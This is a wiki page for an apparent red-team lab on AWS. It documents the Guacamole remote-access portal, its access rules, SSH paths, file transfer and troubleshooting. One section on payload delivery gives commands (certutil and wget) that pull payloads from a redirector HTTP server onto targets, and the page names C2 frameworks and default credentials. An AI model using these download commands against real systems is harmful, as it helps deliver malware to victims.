Skip to content

08. Guacamole

BaddKharma edited this page Sep 2, 2026 · 17 revisions

🚪 Guacamole

The lab's web-based remote access portal. Apache Guacamole runs in Docker on a dedicated EC2 host, exposes HTTPS publicly, and brokers SSH and RDP sessions to every other lab machine. It is the only public SSH endpoint in the deployment.

At a glance
Hostname guac
Public URL https://<guac-eip>/guacamole
UI login guacadmin / lab password (from deployment_info.txt)
Containers guacamole/guacamole, guacamole/guacd, postgres:15
Pre-registered connections Windows (RDP), Mythic / Sliver / Adaptix / Redirector / Kali / Guacamole (SSH), optional Kali (XRDP)
TLS Self-signed cert in front of Nginx; terminates HTTPS, proxies to Guacamole on localhost:8080
Public SSH endpoint guac only (port 22 on Guacamole's Elastic IP)
SSH user admin on every Linux host
SSH auth RSA key from public IPs; password also accepted from internal subnets 10.0.0.0/8 and 172.16.0.0/12
Access posture Portal (443, 80 redirect) open to 0.0.0.0/0; direct SSH (22) and Windows RDP (3389) locked to the localPub_ip list

Considerations

Why Guacamole and not SSH?

Three reasons:

  1. Single public ingress: The redirector exposes only 80/443 (for C2 callbacks); the seven other lab hosts have no public IPs. Without Guacamole you'd need either: (a) a public SSH endpoint on every host (sprawl + risk), or (b) a separate bastion host (extra cost + complexity). Guacamole is the bastion, and it gives you RDP and VNC for free.
  2. No client install: Web browser, that's it. Useful when working from a kiosk, a locked-down corporate laptop, an iPad, or any environment where you can't install a full SSH/RDP/VNC client stack.
  3. Centralized session recording (potential): Guacamole supports session recording natively. Not enabled in redStack by default but can be flipped on for training scenarios where you want to review what an operator did during a session.

Tradeoffs

  • Latency: A web-based RDP session has more latency than a native RDP client because every keystroke and frame goes browser → HTTPS → guacd → RDP. Most operators don't notice for terminal work; you do notice for graphical work like an RDP desktop session.
  • Single point of failure: If guac is down, the entire lab is unreachable from the public internet. Mitigation: Guacamole has its own EIP and an SG rule for direct SSH from every address in localPub_ip. This is a break-glass path for advanced users who need headless access when the portal is unavailable. For most issues, terraform apply -replace=aws_instance.guacamole is the faster fix. In Tunneled Access, replacing Guacamole regenerates the WireGuard keypair; after the new instance is up, reload WireGuard on the redirector (sudo systemctl restart wg-quick@wg0), or the redirector keeps stale keys and the tunnel to the target breaks.
  • Public attack surface: HTTPS to guacadmin/lab_password is exposed to the entire internet. The lab password is randomly generated per deploy (16 characters with special characters) but it's still a credential pair on the public internet. The localPub_ip SG restriction is strongly recommended.

Access posture (who can reach what)

Two rules gate operator access, and they work differently:

  • Guacamole portal (443, plus the 80 redirect): open to 0.0.0.0/0. Reachable from any IP. This is deliberate so the portal works from anywhere (venue floor, hotel, phone tether) without re-running Terraform. The flip side is that the login page is exposed to the internet, and the per-deploy lab password is the only thing in front of it.
  • Direct SSH (22) to the hosts and direct RDP (3389) to Windows: locked to localPub_ip. These are the break-glass paths that bypass the portal, and they only answer the public IPs you set at deploy time. localPub_ip is a list, so allowlist every network you expect to work from (home, office, hotspot) rather than just the one you happen to be on. See Deploying Terraform.

Practical effect of changing location (for example venue to hotel): the portal keeps working, but direct SSH/RDP stops until you authorize your new IP. Add it live, no redeploy:

NEW_IP=$(curl -4 -s ifconfig.me)
SG=$(aws ec2 describe-security-groups --filters "Name=group-name,Values=*guacamole-sg" --query 'SecurityGroups[0].GroupId' --output text)
aws ec2 authorize-security-group-ingress --group-id "$SG" --protocol tcp --port 22 --cidr "$NEW_IP/32"

For direct RDP to Windows, run the same against the *-windows-sg group on port 3389. To lock the portal itself down to your IP instead of leaving it open, revoke the 0.0.0.0/0 rule on 443 and authorize your /32 in its place.

Why Postgres backend?

Guacamole stores its connection database in Postgres rather than MySQL. Postgres handles the auto-creation of connections at deploy time cleanly, and psql is more debuggable than the MySQL alternative. Both work; Postgres was the redStack pick.

Sizing

Default t3.small (2 vCPU, 2 GB RAM) is sufficient for normal use. Bump to t3.medium if you enable session recording (which writes captures to disk under /var/lib/guacamole/recordings/).


Configuration

What runs where

guac (Debian 12) [t3.small, EBS gp3 20 GB]
├── nginx                     :443 SSL termination, reverse-proxy to localhost:8080
├── docker
│   ├── guacamole/guacamole   :8080 (web UI + REST API)
│   ├── guacamole/guacd       :4822 (Guacamole daemon: SSH/RDP/VNC client implementation)
│   └── postgres:15           :5432 (connection database)
└── /etc/hosts                pre-populated with all lab hostnames

How connections get registered

Cloud-init runs terraform/setup_scripts/guacamole_setup.sh, which after Guacamole boots:

  1. Logs in to the Guacamole REST API as guacadmin / default password
  2. Changes the password to the lab password
  3. Re-authenticates with the new password to get a fresh token
  4. Issues POST /api/session/data/postgresql/connections for each host

This is why the connections appear automatically on first deploy. If you re-deploy, the database is destroyed and recreated, so connections are re-registered.

Self-signed TLS

The HTTPS cert at /etc/nginx/ssl/ is a 4096-bit RSA cert with the public IP as the SAN. Browsers will show a "not secure" warning on first visit; accept it.

If you want a real Let's Encrypt cert:

  1. Point a DNS A record at the Guacamole EIP.
  2. SSH to guac, run sudo certbot --nginx -d yourdomain.tld.
  3. Re-run on every deploy if you destroy/redeploy.

TLS termination model

Operator browser
   |
   v  HTTPS (self-signed, port 443)
nginx (on guac)
   |
   v  HTTP (port 8080, localhost)
guacamole/guacamole container
   |
   v  Guacamole protocol (port 4822, localhost)
guacd container
   |
   v  SSH / RDP / VNC to target (private IPs)
mythic / sliver / adaptix / windows / kali / redirector

Using the Portal

[!NOTE] GuacShare is only available in RDP sessions with drive mapping enabled. It is not available in SSH or VNC sessions. For SSH-based file transfer, use scp.

  1. Open the portal URL from deployment_info.txt.
  2. Allow clipboard access when prompted. On first connection, Guacamole asks for permission to read and write the system clipboard. Allow it so you can copy and paste between your local machine and any Guacamole session.
  3. Login as guacadmin / lab password.
  4. Click any connection to open it in a new browser tab.

Guacamole portal connection list after a clean deploy
[Figure 5.1.1: Guacamole portal after login showing all pre-registered connections (Windows RDP, the SSH connections to each lab host, and the optional Kali XRDP)]

The Sidebar

Press Ctrl+Alt+Shift inside any active session to open the Guacamole sidebar. This is the control panel for everything other than keyboard input to the session itself.

Shortcut Action
Ctrl+Alt+Shift Open / close the sidebar
Ctrl+Alt+End Send Ctrl+Alt+Del to a Windows RDP session
Shift+Insert Paste from system clipboard (after opening sidebar once to enable sync)

The sidebar contains:

  • Home icon (top): Returns to the connection list without closing the active session.
  • Clipboard: Paste text to and from the session. Open it once to enable two-way sync.
  • Devices: Shows the GuacShare virtual drive (RDP sessions only).
  • On-screen keyboard: Useful for special characters on non-standard layouts.
  • Zoom: Rescale the session viewport.

Switching sessions

Each connection opens in its own browser tab. Open multiple connections in separate tabs to work across machines simultaneously.

Going back home

From inside any session, press Ctrl+Alt+Shift to open the sidebar, then click the home icon at the top of the sidebar. This returns you to the connection list without terminating the session. The session stays alive and reconnects immediately when you click it again.

GuacShare: file transfer

GuacShare is a virtual drive available only during a Windows (RDP) session. It maps your browser's file system into the Windows RDP session as \\tsclient\GuacShare\.

Upload (browser → Windows):

  1. Open the sidebar (Ctrl+Alt+Shift) → Devices → GuacShare.
  2. Click the upload icon and select a file from your local machine.
  3. The file lands in \\tsclient\GuacShare\ on Windows.

Download (Windows → browser):

  1. Move or copy the file to \\tsclient\GuacShare\ on Windows.
  2. Open the sidebar → Devices → GuacShare.
  3. Click the filename to download it to your local machine.

Clipboard sync

By default, the host clipboard and the session clipboard are isolated. To sync:

  1. Open the sidebar (Ctrl+Alt+Shift) → Clipboard.
  2. Paste text into the box to send it into the session.
  3. Text copied inside the session appears in the box automatically once the panel is open.

SSH Access

Only Guacamole exposes SSH publicly (port 22 to the addresses in localPub_ip). All other Linux hosts route SSH through the lab network.

Three ways to get a shell

1. MobaXterm from Windows RDP (primary)

Open the Windows RDP session via Guacamole, then use the pre-configured MobaXterm bookmarks to reach any internal host. Password auth from inside the lab; no key file needed.

2. Guacamole SSH sessions (secondary)

Log in as guacadmin and click any pre-configured SSH connection. The lab password is baked into each connection profile; no manual auth needed.

3. Direct SSH to Guacamole (break-glass)

Guacamole is the only host with a public SSH port. Use this path when the portal itself is unavailable:

ssh -i rs-rsa-key.pem admin@<GUAC_PUBLIC_IP>

You land at admin@guac:~$. From here hop to any internal host by hostname using password auth.

From inside the lab

All hostnames resolve via /etc/hosts on every host. From MobaXterm or any SSH session:

ssh admin@mythic
ssh admin@sliver
ssh admin@adaptix
ssh admin@redirector
ssh admin@kali

From PowerShell on Windows:

ssh admin@mythic
ssh admin@kali
scp .\payload.exe admin@adaptix:/tmp/

File transfer

GuacShare (browser ↔ Windows): primary for operator files

Use the GuacShare virtual drive in the Windows RDP session to move files between your local browser and the Windows operator. See GuacShare above.

SCP (internal lab transfers)

Move files between lab hosts from MobaXterm or any SSH session:

# Between lab hosts:
scp ./localfile admin@mythic:/tmp/
scp ./payload.exe admin@windows:C:/Users/Administrator/Desktop/

Python HTTP server on redirector (payload delivery to targets)

Host payloads on the redirector so targets can pull them down over HTTP. Run in a screen session:

cd /tmp && screen -S http python3 -m http.server 8080

Pull from a target:

# Windows target:
certutil -urlcache -split -f http://<redirector-ip>:8080/payload.exe payload.exe
# Linux target:
wget http://<redirector-ip>:8080/file

Use the redirector's public IP (Direct Access) or tun0 IP (Tunneled Access).

Special cases

Kali: The Kali AMI ships with a kali user. redStack renames it to admin during provisioning. Don't SSH as kali; that user no longer exists. See Kali.

Redirector (port 22 closed publicly): Port 22 is not exposed on the public EIP. Access via MobaXterm from Windows or Guacamole > Redirector (SSH). The -J jump through Guacamole (ssh -i rs-rsa-key.pem -J admin@<GUAC_PUBLIC_IP> admin@redirector) is available as a break-glass option.

Windows operator: No SSH server. Access is RDP only via Guacamole > Windows (RDP). PowerShell on Windows can SSH out to any Linux host once the desktop is loaded.


Connection Reference

Connection Protocol Use for Auth
Windows (RDP) RDP Driving the Windows operator workstation: Mythic UI, beacon execution, payload work Auto (Administrator + AWS-decrypted password)
Mythic (SSH) SSH Shell on Mythic host: mythic-cli operations, Docker container management admin + lab password
Sliver (SSH) SSH Shell on Sliver host: launch sliver-client, manage daemon admin + lab password
Adaptix (SSH) SSH Shell on the Adaptix teamserver host: service management, log review admin + lab password
Redirector (SSH) SSH Shell on the redirector: Apache config, certbot, log review admin + lab password
Guacamole (SSH) SSH Shell on the Guacamole host: container management, nginx config, debugging admin + lab password
Kali (SSH) SSH Shell on Kali: AD tooling, proxychains, enumeration work admin + lab password
Kali (XRDP) RDP Kali XFCE desktop (only registered when kali_deployment_mode = "gui") admin + lab password

Troubleshooting

Portal returns 502 Bad Gateway

Nginx is up but can't reach the Guacamole container. Check Docker:

ssh admin@guac
docker ps

Expected: three containers (guacamole, guacd, postgres_guacamole) all Up. If any are restarting, check logs:

docker logs guacamole
docker logs guacd
docker logs postgres_guacamole

Most common cause is Postgres taking longer than expected on first deploy. Wait 2-3 minutes and retry.

Can't log in as guacadmin

The default password is changed to the lab password during cloud-init. If cloud-init was interrupted, try guacadmin/guacadmin. If that works, change the password manually:

  1. Login as guacadmin/guacadmin.
  2. Settings → Users → guacadmin → Change password.
  3. Set it to the lab password from deployment_info.txt.

Connections list is empty

Cloud-init's connection-registration step failed. Query Postgres to confirm:

ssh admin@guac
docker exec -it postgres_guacamole psql -U guacamole_user -d guacamole_db \
  -c "SELECT connection_id, connection_name, protocol FROM guacamole_connection;"

If empty, replace only the Guacamole instance; no full destroy needed:

terraform apply -replace="aws_instance.guacamole"

Cloud-init re-runs on the new instance and re-registers all connections automatically.

In Tunneled Access, replacing Guacamole also regenerates the WireGuard keypair. After the new instance is up, reload WireGuard on the redirector so it picks up the new keys, or the tunnel to the target stays down (the redirector's wg-quick@wg0 is only started, not restarted, on rebuild):

sudo systemctl restart wg-quick@wg0

Specific connection fails: "connection refused"

  1. Is the target host up? From guac: ping mythic
  2. Is the target port listening? nc -zv mythic 22 / nc -zv windows 3389 / nc -zv adaptix 4321
  3. Is the target service running? SSH into the target: systemctl status sshd / systemctl status xrdp

RDP works but GuacShare drive not visible in Windows

The Windows host loads the drive lazily. Open File Explorer → This PC and wait 10-30 seconds. If it still doesn't appear, disconnect and reconnect the RDP session.

Then reconnect via Guacamole.

Latency feels high

The Guacamole protocol is sensitive to round-trip time. If your laptop is far from the AWS region, browser RDP will feel sluggish. Options:

  1. Deploy to a closer region (aws_region = "eu-west-1" in tfvars).
  2. Use MobaXterm from the Windows RDP session for terminal work; reserve browser RDP for graphical needs.

Locked out / forgot the lab password

The lab password is in deployment_info.txt in the redStack/ directory. If that file is gone: terraform output deployment_info from redStack/terraform/. If state is gone: terraform destroy && terraform apply.

Can't SSH as kali

Expected. redStack renames the kali user to admin during provisioning. Use admin on all Linux hosts.


← Previous: Lab Inventory | Next: Redirector →


"Hackers log in, they don't break in."

Bret Arsenault, Microsoft CISO (~2018)

Clone this wiki locally